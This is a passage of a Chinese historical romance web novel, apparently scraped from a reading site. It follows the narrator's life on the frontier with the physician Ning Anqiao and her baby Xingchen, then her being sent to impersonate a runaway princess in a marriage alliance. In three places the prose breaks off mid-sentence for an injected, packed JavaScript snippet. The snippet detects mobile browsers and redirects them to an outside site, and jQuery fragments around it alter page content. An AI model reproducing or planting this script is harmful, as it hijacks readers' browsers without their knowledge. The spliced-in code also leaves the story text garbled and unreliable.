“宁医师不介意……喜当爹吗?” “嗯?” “没,没什么。” 我转过身去不再看他。 “如果是你,我不介意。” 他低沉的声音从背后传来,像是春风拂过湖面,激起层层涟漪。 突如其来的话语让我心头一颤,这算是告白吗?我抿嘴一笑,伸出手指任由星辰的小手紧紧抓住。 “还是介意吧。” 宁安桥盯着我的侧脸,突然走到我正面,举着星辰到面前,学着娃娃奶声奶气的声音说:“你不想和我在一起吗?” 身高八尺的魁梧大汉说出这样的话,真是滑稽至极。我捧腹大笑,眼泪都笑出来了。 宁安桥一手抱着星辰,一手牵起我,认真地说:“我可以和你一起抚养星辰长大,可以照顾你,照顾星辰。你不喜欢军营我们就搬到这儿来,或者请命回东京,在城中买一处宅院安定下来。” “……你已经想过那么多了吗?这么闲?”我调侃道,心里却暖洋洋的。 “不是。”他骤然冷脸,“随口说的。死脑筋。” 我举起星辰的小手抚摸宁安桥没有温度的脸,笑着说:“星辰你看,宁医师又闹别扭了。” “诶~?” 星辰当真以为他生气了,两只小手开始拍打宁安桥粗糙的面庞。 “好啦,星辰都来安慰你了,别生气啦。” 我晃荡着他牵起我的手,试图缓和气氛。 “唔——” 突然,宁安桥的唇覆了上来,我瞪大了眼睛,这家伙居然偷袭我! 我佯装生气地踢了他一脚,嗔怪道:“当着孩子的面干嘛呢!” “她也看不懂。”他理直气壮地回答。 “不行!唔嗯——” 我还想反驳,却被他忽然俯身,温热的唇毫无预兆地覆了上来。我下意识往后仰,却被他另一只手扣住后脑,动弹不得。 他的吻起初轻柔,像春风拂过水面,随后渐渐加深,带着不容拒绝的力道。我的呼吸被他搅得急促,心跳如擂鼓般在胸腔里震动。耳边只剩下他低沉的呼吸声和星辰偶尔发出的咿呀声。他手里稳稳抱着星辰,小丫头似乎察觉到了什么,小手胡乱挥舞,轻轻拍在他的脸颊上,却没能打断他的动作。 直到我几乎喘不过气,他才稍稍退开,额头抵着我的,呼吸微乱,眼底却带着一抹淡淡的笑意。我红着脸瞪他,却见他低头看了眼怀里的星辰。小丫头睁着圆溜溜的眼睛,一脸天真无邪地望着我们,像是好奇这场突如其来的“游戏”。 宁安桥轻笑一声,用指腹轻轻擦了擦我的唇角,不知道是跟我说还是跟星辰:“爹爹在安慰闹别扭的娘亲呢。” 我脸上一热,埋进他的胸口:“谁闹别扭了……” 60. 画舸停桡 “星辰要睡觉觉啦?那娘亲抱你去好不好呀?” 呜哇一声,刚抱进怀里的小姑娘毫无征兆的痛哭起来。 “别哭啊,娘亲抱抱你都不可以吗?” 回答我的是更惨痛的哭声。 娘亲到底做错了什么…… 闻声赶来的宁安桥抱走我怀里的星辰,三下两下就抚平了伤心的幼崽。可怜的娘亲站在一旁,气不打一处来。 “太过分了,这孩子!到底遗传了谁的性子!” 都说女儿像爹,难不成颜卿小时候也是这副样子? 气得我冲到架子旁拎起地上的酒坛子就要往嘴里灌。幸亏宁安桥眼疾手快一手抱着孩子,一手夺走我手里的酒。 “喂奶期间禁止喝酒。” “还喂什么奶,她连抱都不要我抱!我还给她喝奶吗?!” “已经气到连名字都不喊了吗。” “娃娃要从小教育。就她这性子,以后还不得把我踩在脚下!惩罚她的第一件事,就是断奶。” 宁安桥笑也不是无奈也不是,把酒放在了我够不着的高处后,抱着已经睡着的星辰回到卧室。 “太神奇了。除了神奇,我找不到别的词汇来形容眼前的怪异。” 我倚靠在门框上,看着宁安桥给星辰掖好被子。可爱的小手放在脑袋两边,粉嘟嘟的嘴发出可爱的呼吸声。 “大概是我的体型让她比较有安全感吧。” 他一边安慰一边转身整理好我们的床铺。 “别闹别扭了,你也累了一天,上床休息吧。” 被他一说,哈欠也跟着出来。 带娃不易,还被娃嫌弃。 我伸了个懒腰快速爬进被窝,眼皮算准了时机开始打架。 身体感觉时间已经来到了后半夜。 迷迷糊糊间,我感觉有什么东西轻轻爬上了我的背。我趴在床上,困得睁不开眼,心想大概是星辰又在调皮,便懒得理会,反正有宁安桥在一旁看着,出不了什么岔子。可渐渐地,那触感越发不对劲——星辰那小丫头,什么时候学会从我的后领处开始拨开我的衣裳了?还一点一点地将我的肩头露了出来。 我皱了皱眉,勉强撑开沉重的眼皮,正想转头看看这小家伙在搞什么名堂,却忽然感觉到一阵温热的气息贴近我的肩颈,紧接着,一个轻柔的啃咬落在了我的肩头。 浑身一僵,瞬间清醒了大半。 这哪里是星辰?! 我猛地转过头,果然对上了那双凶恶的眼睛。他一手撑在我身侧,另一手还保持着拨开我衣领的动作。 “你……你干嘛?!” 我结结巴巴地开口,脸上瞬间烧了起来。 “这里,有被星辰抓到的伤痕,我看看好些没。” 我瞪了他一眼,正要吵嚷着推开他,却听见一旁传来轻微的呼吸声。转头一看,星辰正在摇篮里睡得香甜,小脸粉扑扑的,小手握成拳头放在脸颊旁,一副无忧无虑的模样。 宁安桥顺着我的目光看去,伸手轻轻捏了捏我的脸:“她睡得正香,别吵醒她。” 我红着脸推了他一把,低声嘟囔:“那你赶紧起开……你太重了!”却被他一把揽进怀里。 他的手掌温热,隔着后背薄薄的衣料传来阵阵暖意。我试图挣脱,却被他搂得更紧,双手紧贴在他健壮的胸膛。 “别动,安分一会儿。” 心跳加速,脸颊愈发滚烫,我却不敢再乱动,纯粹怕吵醒星辰。宁安桥的唇轻轻擦过我的耳垂:“你与我梦中初见的样子,大不一样。没了傲气,却多了羞涩。” 他的手指轻轻抚过我的脸颊,随后缓缓下移,停在我的唇边,轻轻摩挲。 “你——” “嗯?” 心跳快得几乎要冲出胸腔。他的脸渐渐靠近,鼻尖几乎贴上我的,呼吸交织在一起,暧昧得让人窒息。 在环州生活的五个月,是我有记忆以来最与众不同的五个月。虽然我时常想将这一切的美好归功于星辰的到来,但不可否认的是,宁安桥的存在同样为这段日子增添了无数色彩。 环州毗邻定边军,军民和睦,宁安桥在这里也颇有名望。而某个清晨,贺祈安在集市上无意间唤我一声“宁夫人”,竟让整个环州的百姓都认定我是宁安桥的妻子。 同住一个屋檐下难免会擦枪走火——擦出情愫的火花。 日子久了,我渐渐放下了心中的防备,坦然接受了宁安桥的靠近。阳光斑驳的小院,宁静幸福的日子,我、星辰还有他。仿佛在这片小小的天地中找到了属于我们的幸福。尽管这样的生活与我曾经幻想的世外桃源有所不同,但正是这些细微的差异,让这段时光显得更加真实而珍贵。 或许,生活本就是如此,即使是世外桃源蓬莱仙境,不在于它是否完美无缺,而在于我们是否能在其中找到属于自己的那份宁静与满足。 “那你眼中的我,是梦里的仙子,还是现在的凡人?” “现在的你。” 宁安桥望着我,答得没一点犹豫。幽深的眸子里没有泄露丁点情绪,一如从前,理所应当。我迎上他平静的目光,静静地道出“我不可能永远留在你身边”。 “我知道。”他攥紧我的手,送到唇边,“你是天上的仙,自然不会停留人间太久。” 我沉默片刻,目光从他深情的眼眸移开,转而落在摇篮里熟睡的星辰身上,看向屋内生活痕迹的点点滴滴。 窗台上那盆我随手栽种的桔梗花,窗外池塘里盛开的两朵莲花,桌上未喝完的半盏茶,墙角堆叠的几本书。这些琐碎的细节,像是一张无形的网,将我与这片人间烟火紧紧相连。 模仿着医鹿山后山小屋的模样创造的新天地,内心终究不再是两年前的我。 我忽然意识到,我早已不再是那个遥不可及的“仙”,而是被这些点滴温暖拉入凡尘的普通人。恢复记忆以后?等我习惯了这般生活,真的还能回到天上做一个逍遥自在的神仙吗。 宁安桥难得笑了一声。 “多愁善感不是什么好事。你有星辰,不就足够了?” 我细细思索,摇了摇头。 “不够。我想给她的,还远远不够。比起命途多舛的娘亲,动荡不安地边疆,她更适合……远离硝烟的地方。” 本想说她更适合待在爹爹身边,回到颜卿身边,快乐地成长。 宁安桥若有所思般沉吟了片刻,对我微微垂眼。 “你想把星辰送回信州吗?” 沉默片刻,我发现自己答不出这个问题。我舍不得星辰,舍不得她离开我。何况再见之日遥遥无期,倘若她离开我,我何时才能在见到她。 “……我不知道。”我深吸一口气,“如果有什么办法能换来太平,为了星辰,我愿意一试。只可惜……这一世,我不过普通的凡人。” “你的愿望会实现的。” 我怔住了。 “天下局势分久必合,合久必分。任何战事都会迎来结局,哪怕是好是坏,终究会有一个了结。”宁安桥的声音像是看透了世事的无常。他转过身,目光落在我身上,“到那时,星辰不必再远离你,你也不必再为她忧心。一切,都会有个结果。” 我怔住了,抬头看向他。窗外,月光如水,洒在宁安桥的侧脸上。他的目光依旧追随着我。我低下头,手指无意识地攥紧被角,心里涌起一阵说不出的落寞。 忽然,他的气息逼近,我还没来得及反应,他的手掌已经扣住了我的后脑。下一秒,他的唇重重地压了下来,我的呼吸瞬间被夺走,整个人僵在原地,连指尖都忘了动弹。他的吻又急又凶, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245683|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像是要将我所有的犹豫和不安都碾碎。我的双手抵在他的胸口,却推不开他分毫。 “宁安桥……” 我含糊不清地唤他,声音却被他吞没在唇齿之间。他的手掌紧紧贴在我的后腰,将我往他怀里按。直到我几乎喘不过气,他才稍稍退开,呼吸粗重而紊乱。 “别胡思乱想。有我在,星辰不会离开你,你也不会离开我。” 心跳如擂鼓,脸颊滚烫得像是要烧起来。他的眼神依旧冷峻,可眼底却藏着另一种情绪……势必将我吞下的气势。 “可是,夜深了……” 我张了张嘴,还想说什么,却被他再次打断。 “那又如何。” 他语气强硬,手指轻轻抚过我的唇角,像是警告,又像是安抚,“你只管把自己交给我。” 抑制不住的气息从唇缝挤出,双臂伸过宁安桥的肩膀,腾不出手来,他见状空出一只手捂住我的嘴。即便如此,呜咽的声音还是声声入耳。 “声音,会吵醒星辰的。” “可唔——” 既然手捂不住,那就用嘴吧。他想得还挺周到。 揪着心口的喘息与雨水拍打泥地的声音在寂静的夜里显得格外清晰,连我自己听了都忍不住脸红心跳。大脑一片空白,只能被动地承受着他的侵略,指尖深深嵌入他的肩膀。 “我想听你叫我的名字……”他的唇稍稍离开,呼吸灼热地喷洒在我的耳畔,“不是宁医师,是我的名字……” 我的意识早已模糊,耳边只剩下他的声音和心跳的轰鸣。他的唇再次落下,吻得我几乎喘不过气来。就在这意乱情迷的瞬间,我的脑海中突然闪过一个名字,像是从记忆深处挣脱出来的幽灵,不受控制地从我唇间溢出—— “砚清……” 话音未落,我猛地惊醒,整个人僵在原地。 宁安桥的动作骤然停住,原本温柔的眼神瞬间冷了下来,像是被冰霜覆盖。他的手指从我的唇边移开,缓缓直起身。 “你刚才叫了谁的名字?” 不是宁安桥,偏偏是…… 我张了张嘴,却发不出声音,只觉得胸口像是被什么堵住了,连呼吸都变得困难。摇篮里,星辰翻了个身,发出一声轻微的哼唧,打破了这令人窒息的沉默。 宁安桥从缝隙中退了出去,松开了揽着我的手,脸上的温柔早已消失无踪,取而代之的是一贯的冷峻。他转过身背对着我,声音低沉而平静:“你累了,早点休息吧。” 我看着他僵直的背影,心里一阵酸涩。 “抱歉……你别生气啊……我不太会哄人……” 一声冷哼,他猛地转过身来抓着我的肩膀按在身下,自上而下傲视着我。 “笨蛋。” “笨——” 宁安桥的手掌依旧扣在我的肩膀上,力道不轻不重,却让我无法挣脱,让我无处可逃。唇瓣再次落下,如同大雨落下无数雨点,浇打全身。带着近乎惩罚的力道,痒意和痛觉夺走我的所有理智。 “宁安桥……” “嗯。”他似笑非笑地低声应道,“这才对。” 贺祈安送来紧急回营的天,正好是中秋夜。酒过三巡,贺祈安脸上不安的表情依旧不减,甚至趴在桌上独自惆怅。他没主动说,我们也不好问,只默默陪着他。 “明日我和二将军一起回营,你和星辰就留在这儿。” “可是——” “楚风也得和我们一起去。”贺祈安忽然坐起身,心事重重的样子,几度欲言又止。 “二将军是有什么事要跟我说吗?”我问。 贺祈安犹豫着,点头。 “莫非与那日大将军与我讲的事有关?” “没有关系……也有关系吧。”他看向我,“公主逃婚了。” 61. 愁君未知 日暮风吹,叶落依枝。 中秋的月色清冷如霜,洒在环州的小院里,映得满地银白。院子里张灯结彩,桌上摆满了月饼、瓜果和一壶温热的桂花酒。难得贺祈安也在环州,我们便邀请上他一起过节。 “难得中秋,生辰宴,今夜不醉不归!”贺祈安举杯,笑意盈盈声音爽朗。 贺祈安不急不缓地讲起军营里我不知的趣事,尤其是宁安桥那张臭脸闹出过的喜剧,逗得我忍不住笑出声。我仿佛隔着遥远的时光,见到了曾经孤身一人坐在荒漠里喝着孤酒的人。宁安桥虽不多言,但目光时不时落在我身上,见我笑,眉目舒展稍稍勾起唇角。 院子里笑声不断,月光洒在每个人的脸上,映出一片其乐融融的景象。星辰在摇篮里睡得香甜,偶尔翻个身,发出几声梦呓,更添几分温馨。 贺祈安忽然站起身,走到院子中央,仰头望着月亮,大声道:“今日中秋兼生辰,不如我们来对诗助兴!”他说完,转头看向我,眼中带着几分挑衅的笑意,“楚风,你先来?” 我笑着摇头:“我哪里会对诗?你还是找宁安桥吧。” 贺祈安淡淡瞥了眼宁安桥:“算了,我怕待会有杀气泄露。以前叫他跟我们喝酒,喝到最后连针都拿出来了。二话不说就要扎我们,太可怕。” 我哈哈大笑,摆了摆手:“不至于不至于。宁医师的性子早被星辰给磨没了,放心。” 宁安桥没有否认,闷闷哼了声,并未反驳。 “上一个把他性子磨灭的人,还是三弟。” 宁安桥顺着贺祈安的话往下接。 “我不记得被三少爷磨炼过性子,你说来听听?” “你的酒量还是三弟天天拉着喝练出来的,会不记得?” 贺祈安语气轻松地应着,眉目间却突然沉着郁色。我思索再三,还是问出了盘桓在心的疑惑。 “从刚才起二将军就一直说今日既是中秋也是生辰宴,莫非——”我看向宁安桥,“是宁医师的生辰?” “不是我,是三少爷。今天即是他的生辰,也是他的忌日。” “可你冬天的时候……” “那时只是想找他喝酒罢了。” 须臾间,两人脸上的表情浮现出强颜欢笑。 “贺家已经好多年没一起共度中秋了。” 我第一次看到贺祈安伤心的模样,一同当初贺祈骁给我讲述三弟逝去前的故事的表情。 他们,都很想念他。 酒过三巡,贺祈安放下酒杯,脸上的笑意瞬间敛去。他看了看我,又看了看宁安桥,声音压得很低。 “大哥召集所有人即日回营。” 宁安桥眉头微蹙:“出什么事了?” “嗯。” 不必多言,此事必定非同寻常。 宁安桥沉默片刻,心中已有定夺,转而看向我,“我同二将军回营,你和星辰留在环州。” 我心头一紧,立刻摇头:“不行!我好歹也是被发配到这儿的人,说不定能帮上什么忙。” 没等宁安桥与我对峙,贺祈安淡淡道:“楚风也一起回去。” 接下来他说的话像一道惊雷,劈开了夜的宁静。院子里瞬间安静下来,连风声都仿佛停滞。 “公主在和亲途中逃婚了。” 我手中的酒杯微微一颤,酒水溅出几滴,落在手背上。宁安桥的目光骤然一沉,眉头微微蹙起,却没有说话。 “已经找了七日,仍旧下落不明。西北地区都翻遍了,凭公主一人之力,绝无可能逃得无影无踪。大哥推测,定是有人暗中接应,将她带走了。” 公主名唤赵清漪,是当今皇帝膝下唯一未出阁的女儿,自幼聪慧过人,深得圣心。她生得明眸皓齿,仪态万方,琴棋书画无一不精,更兼性情温婉,素有“汴京第一才女”之称。皇帝对她宠爱有加,视若珍宝,曾多次为她挑选驸马,却皆因她不愿屈就而未成。此次和亲东凉,本是两国交好的大事,却未曾想,公主竟在途中悄然离去,下落不明。朝野上下震动,皇帝震怒之余,更是忧心如焚,下令不惜一切代价寻回公主。 贺祈安继续说道:“东凉的使者下月一日就到定边军,大将军贺祈骁已经焦头烂额,消息一点都不敢泄露。现在紧急召集所有人回军营,准备应对。”他说到这里,目光落在我身上,“你得跟我一起去。” 我抬头看他,心中隐隐猜到他的用意。公主逃婚,东凉使者将至,定边军此刻如同一根紧绷的弦,稍有不慎便会引发两国争端。 至于我能排上什么用场……毋庸置疑。 将军营。贺祈骁说和单独谈谈我,遣走了所有人,只留我。 “我曾有幸见过公主。”贺祈骁认真端详着我容貌说,“虽说没有完全相似,但足以以假乱真。你的眉眼与公主有七分相似,再加上这身华服,足以瞒过东凉使臣。不过话又说回来,他们根本没见过公主。” “大将军是要我……” “现在还没确定。”他打断我,“护送公主和亲的史丞相正在赶来,等他到了,再作打算。这是不得已的办法,也可能是……最后的办法。我觉得有必要先告知你,好做心理准备。” 贺祈骁转身走向帐内一侧的武器架,架子上整齐地陈列着各式兵器,刀剑寒光闪烁,弓弩沉稳厚重。他的脚步沉稳,停在架子前,伸手从最上层取下一把匕首。匕首的刀鞘上刻着繁复的花纹,隐隐透出一股冷冽的气息。他握在手中,指尖轻轻抚过刀鞘,仿佛在触碰一段尘封的记忆。随后,他转身走回我面前,将匕首递了过来。 “我们贺家每人都有一把贺家印着祖先图腾的匕首。这一把是我三弟的,他曾将匕首送给了他的挚爱,一位身世不明的姑娘。三弟死后,这把匕首跟着那姑娘一起离开了。说是离开,其实是消失了。某一日,匕首又突然出现在贺家,连同一封信。信上说,三弟被葬在一片花海,却没说在哪儿。现在——” 他突然与我四目相对。 “该物归原主了。” “……” 我接过匕首,忐忑不安。 “我不明白大将军的意思。” “还记得我之前跟你讲的,关于我三弟的故事吗。” 我点头:“记得。他本要与公主成亲,成为驸马,却因爱上了一位平凡姑娘,最终……在成亲当晚,死在了贺家的院子里。” 他越过我,驻足站在我身后。 “我听说你之前出了场事故,忘记了以前的事。” 我颔首。细细抚摸过手中没有温度的匕首,心中隐隐生出一丝不安。 “那个人……是我?”我回过头,“和大将军三弟成亲的人,是我?” “可名字不一样。” “那人叫什么?” 他缓缓吐出两个字。 “南风。” 在获得三个名字后,我原本以为会按照战国七雄的名字来,齐楚燕韩赵魏秦,以此类推,燕风之后的下一个名字该是韩风才对。突如其来的南风,瞬间打乱了我的所有猜测。 想来南风也不是我真正的名字,因为记忆没有恢复。 和亲啊……未曾设想过的道路。 战火无情,更何况这场战争持续得多年,若能以和平的方式解决,哪怕是牺牲一个人的幸福,再好不过。 和亲的公主消失,他国的皇帝又不认识我, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15252781|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不认识公主,是真是假,没人分辨得出。 自从听闻东凉大军在北境蠢蠢欲动的近况,皇帝几次病倒,过分忧虑。不得已,才将自己最疼惜的公主送去和亲。哪晓得,公主半路消失了。护送的史丞相说已经派人去寻,只是眼下和亲时间不能耽搁,无论如何都需要一个人顶替。 这是顶替一段时间的问题吗。难道不是直接代替公主去和亲,一辈子关在东凉皇宫里吗。 起初的人选是公主身边的侍女,本来敲定的事情,在军营看到我后立马改了主意。 说与公主有几分相似,肯定是说服我的借口。 星辰还小,我实在不放心离开她。本想着战争平息下来,我便带着星辰回信州,回到颜卿身边。 可眼下看来……和平的代价,是我了。 军营内,阳光透过帐顶的缝隙洒下,帐内一片明亮。我身着公主的华服,衣料上的金线在阳光下闪烁。史丞相站在我面前,手中捧着一卷礼册,正仔细叮嘱着和亲途中的礼节事项。 “此行关系重大,务必谨记东凉皇室的礼仪规范……” 我点了点头,一一记下。帐帘忽然被掀开,贺祈骁大步走了进来。他身着戎装,神色冷峻,目光在我身上停留片刻,随即转向史丞相,微微颔首。 史丞相见状,合上礼册,朝贺祈骁拱手道:“大将军,礼节事项已交代完毕,我便先行告退。” 贺祈骁点头:“有劳丞相。” 贺祈骁与史丞相年龄相仿,皆是朝中举足轻重的人物。两人虽一文一武,却因职责所在,常有交集。 史丞相退了出去,帐内只剩下我与贺祈骁。 “军营再见到你的上一面,是在贺家。”他缓缓开口,“你跪在三弟身边,穿着嫁衣,脸上哭花的妆容,完全看不清你的表情。” “……” “实话告诉我吧。”他转过身,目光落在我身上,“三弟,被你埋在哪里?” 我低下头,声音轻得几乎听不见:“抱歉,我不记得了。” 贺祈骁长叹了口气。 “大将军恨我吗?” “为何要恨你?杀了三弟的人不是你。” “可我带走了他的尸体。贺家的规定不是必须葬在一起吗?” “你有你的理由吧。”他突然无奈笑了下,“等你回忆起来,告诉我那片花海的地址吧。我……想去看看他。” “……好。” “不止是我,军营上下都想去给他烧一炷香。” 我忽然想起宁安桥提着酒壶去荒漠祭奠的场景。 “贺祈源吗?” “你连名字也忘了啊。” “抱歉……” 帐内一时陷入沉默,只有帐外的风声偶尔传来。片刻后,我忍不住问道:“大将军没有告诉二将军我是谁,为什么?” “是二弟自己选择不相信的,做哥哥的何必固执。” “二将军他,讨厌我吗?” “你认为呢?”他反问,“二弟做事坦坦荡荡,若你能感受到厌恶那便是了。” “没有。” 从未感受到过。原来贺祈安一直待我温柔是因为认识我。 “当年三弟把你带回贺家,满堂的人只有二弟站出来支持你们。操办婚事也属他最积极,比当事人还忙得热火朝天。只是不曾想,一夜之间,喜事变丧事。” 我握紧了衣袖,“那些人是谁?为什么要杀他?” “这个答案,等你到了东凉皇宫,就能知晓。”他递给我一张手绢,“时间到了,我们出去吧。” 我致谢接过,擦掉脸上不知何时挂上的泪水。 62. 陌上深深 两国使臣会面的场景设在定边军大营外的开阔平地上,四周旌旗招展,士兵列队肃立,气氛庄重而肃穆。东凉使臣的队伍缓缓驶入,为首的使臣身着华丽的锦袍,头戴金冠,身后跟随数十名随从,手持礼器,步履整齐。目之所及,东凉的人肤发偏黑,颇有游牧民族的特色。 闻笙曾在茶馆跟我提起过东凉的风土,他们善骑马,武器锻造和军马训练制度皆在赵国之上。特别是十年一选将军的“大戏”更是精彩,万里挑一,唯有活下来的人才可登上将军之座。 为首的使臣比我想的要年轻。身材倒是魁梧健壮,光看面向很难相信是东凉人,颇有江南地区男子的容貌。 双方使臣在场地中央相遇,东凉使臣微微躬身,行了一礼,贺祈骁则抱拳还礼。接着,东凉使臣从随从手中接过一封金边诏书,双手奉上。 “东凉大将军夏逸飞,奉东凉皇帝之命,特来迎接公主殿下,共商两国和亲大事。” 贺祈骁接过诏书,展开细细浏览,随即合上。 “公主殿下已准备妥当,请使臣稍候片刻。”他挥手示意,身后士兵立即分列两侧,让出一条通道。片刻后,我身着公主的华服,头戴凤冠,缓步走出。阳光洒在衣袍的金线上,熠熠生辉。我颔首垂眸,步履从容,行至使臣面前,依照礼数行三拜九叩之礼。 东凉使臣再次躬身:“公主殿下千岁,东凉上下已恭候多时,愿两国永结秦晋之好。” 我微微颔首:“愿两国和睦,共襄盛举。” “东凉婚俗与赵国稍有不同,公主既来和亲,想必已有所准备。” “多谢使臣大人提醒。” 礼毕,双方使臣各自退后,士兵鸣号三声。风卷旌旗,鼓声渐起,两国使臣的会面在一片庄重与肃穆中落下帷幕。 若不是大风忽起,眼下我已随着东凉的车马启程。 返回营帐内,不止是我,所有人都缓了口气。 然而并没有。 本该回事先准备好的营帐歇息的那位东凉使臣,大步朝我们这方走来,步入帐内,他恍若目中无人,无视同在一室的贺祈骁和我身边正交代事情的史丞相,直逼我而来。沉着的脸眯起眼睛上下打量我,然后似笑非笑地问:“这位便是清漪公主吗?” “是……”史丞相应声后退至一旁。 东凉使臣朝我迈步,凛冽的目光居高临下地看着我。我不紧不慢地调整仪态,颔首行礼。 “公主殿下一路辛苦了。京都至此,应该费了不少时间。” “多谢使臣大人关心。” 忽地,他发出一声冷笑。 “公主殿下对这塞外的严寒倒是适应得极好,如此风沙肆虐之地,殿下依旧容光焕发,令人钦佩。” 我并不在意他话语中的嘲讽,只是勾了勾唇角,轻笑着回应:“西北区域气候相似,也待了些时日,是该适应了。”我望向账外的风沙,“况且,余生都要在这儿了,不是吗。快些适应,总没有错。” 东凉使臣站在我对面,脸上虽挂着礼节性的微笑,但那笑意未达眼底,反而隐隐透出一股冷冽的愁意。 不安感和恐惧在心中交织,我屏住呼吸,努力维持着表面的镇定,掌心已沁出一层薄汗。暗暗告诫自己:绝不能露出破绽,绝不能让他察觉分毫。 我对他笑了一笑。 “使臣大人一路赶来也辛苦了,早些回营歇息吧。” 他不语,军帐内的空气凝滞,帐外的风沙卷起拍打头顶的篷布,发出难听诡异的声音,云层间发出沉闷的雷鸣。 许久,他退后几步与我拉开距离,终于扬起唇角。 “今日天气异变,不宜出行。公主殿下早些休息,接亲典礼半月后举行,明日一早我们便前往东凉。” 说罢,他正想离开,我叫住他。 “还不知使臣大人姓名?” 他不置可否地挑起眉,尽管一闪而过,我还是捕捉到了他眼底渗出的一丝杀气。站在我身旁的史丞相轻咳着凑到我耳边低声介绍:“殿下,这位是东凉大将军,夏逸飞。” 大将军?从万人尸骨中脱颖而出的大将军?难怪出场自带杀气,原来是天生的。 “抱歉,是我疏忽了,还望大将军海涵。” “公主殿下还真是健忘。”夏逸飞讥讽般笑道,走出营帐又回头望向我,“怕不是连皇城京都在哪儿都不记得了吧。” 等夏逸飞离开,贺祈骁重重叹了口气。 “看来是败露了。” 果真如此吗。 我舔了舔干裂嘴唇,双手和双脚终于松懈一些开始止不住的发抖。憋屈至极,眼泪也不争气跟着出来。 “现在怎么办……我该怎么办……杀了我,也弥补不了这个谎言吧……” 我看向史丞相,他避开我的眼神看向贺祈骁,我也顺着他的视线望向那位骁勇善战的大将军,战场上临危不惧沉着冷静的大家将军,此刻脸上也浮现出了不安。 “夏逸飞恐怕猜到了你不是真正的公主。”他扶额叹了口气,“到底是怎么看出来的。” 不是我伪装的不像,也不是我的气质与公主相差甚远,所以贺祈骁想不明白,到底是哪里败露的。说话吗?我说错了什么吗?因为自称我,所以暴露了?如果都不是…… 那只有一种可能。 贺祈骁沉思犹豫了一会儿,起身走到我跟前。 “他既然已经发现,但没有当面拆穿,我想,他应该不会将此事禀告东凉皇帝。” “又或者,等回到东凉皇宫再将我赶尽杀绝?他们会不会以此要挟,大举进攻赵国?” 我对上贺祈骁的视线,那双深邃的眼睛里涌动着怜悯和无奈。他无法保证我说的会不会成真。 “此事本与姑娘无关,贸然将姑娘牵扯进来,皆是我的错误。” “不是将军的错——” “有什么我能为你做的事,尽管开口。我贺祈骁向来说到做到,只要是我能完成的。” “……” 虽然感觉此时开口有些奇怪,但既然大将军都开口了,我倒确有一事想要拜托他。 “不过贺将军放心,无论如何,我都会保全赵国,不让东凉以此为由进军。” “……谢谢你。” 温暖的营帐内,宁安桥刚哄睡好星辰,将她放在柔软的小床上,怜爱地抚摸她的小脑袋。小丫头喊着手指,嘟着粉嫩的唇,含糊不清地哼出声。 我深吸一口气,整理好情绪,走到她身边坐下,依偎着宁安桥。 “明日一早出发。” 宁安桥没有回答,看着星辰扬起一抹苦笑。 “你看她,睡得多香。” “是啊。” 他低头看着星辰,收回手掌,而后转身将我拥入怀中,嘴唇紧抿成一条线,无可奈何地叹息落在我的耳畔。我们都清楚明白,现在局面已经无法挽回。我最放心不下的,是星辰。星辰还那么小,不可能留在军营,更不可能和我一起走。 只有一个办法。 宁安桥收紧手臂,八尺男儿的眼眶渐渐泛红。 “我舍不得她。”他蹙起眉头,用力闭上双眼,“我不想连她也离开我。” 我抚摸他轻颤的后背,脸埋进他的胸膛。 “我也……不想离开她。” 泡影也好,短暂的梦也好,她带给我的,是前所未有的。 也是以后不会再有的。 “宁安桥……” 我离开他的怀抱,试图让他清醒一点,紧紧抓住他的手,坚定地看着他。 “把星辰送回信州吧。” 他没说话。安静的世界只剩下塞外的呼啸,和星辰平静的呼吸。一切都停留在这一刻,不敢走下去。 这样不行。 我握紧宁安桥冰冷的手,指节收紧,用尽我全身的力气,就差用指甲抓伤他。 “信州府知县,颜卿。听到名字,我想你大概猜到了……是星辰的父亲。此事,我会同大将军说明,请他派人专程护送。就把星辰……送回她爹爹身边吧。” 宁安桥别开视线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15264889|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,挣脱我的手,愤然起身离开。 “拜托了……宁医师。” 我无力地哀求。他停下脚步,不肯回头看我。许久,才抬脚离开。 我知道他舍不得星辰,他比谁都担心星辰,不想星辰离开。但同时,他比谁都希望星辰能平安长大。比起边塞军营,信州府更适合她长大。更何况,那里才是她的家。 我将送星辰回信州的打算告诉了贺祈骁,他说过会满足我的要求,所以一口应下。 宁安桥不能离开定边军,连夜制了个药草香囊给星辰。我本想写一封信带给颜卿,几次落笔后,生生将写好的信撕碎丢入火炉。 他不信我怎么办,他恨我不早点告诉他事情怎么办,他无法接受星辰怎么办……所有的问题一股脑堵在胸口,身体又沉重得好像要死掉。 “他可是颜卿啊……就算全世界都不信我,他都会站在我身边的颜卿,怎么可能不信我……” 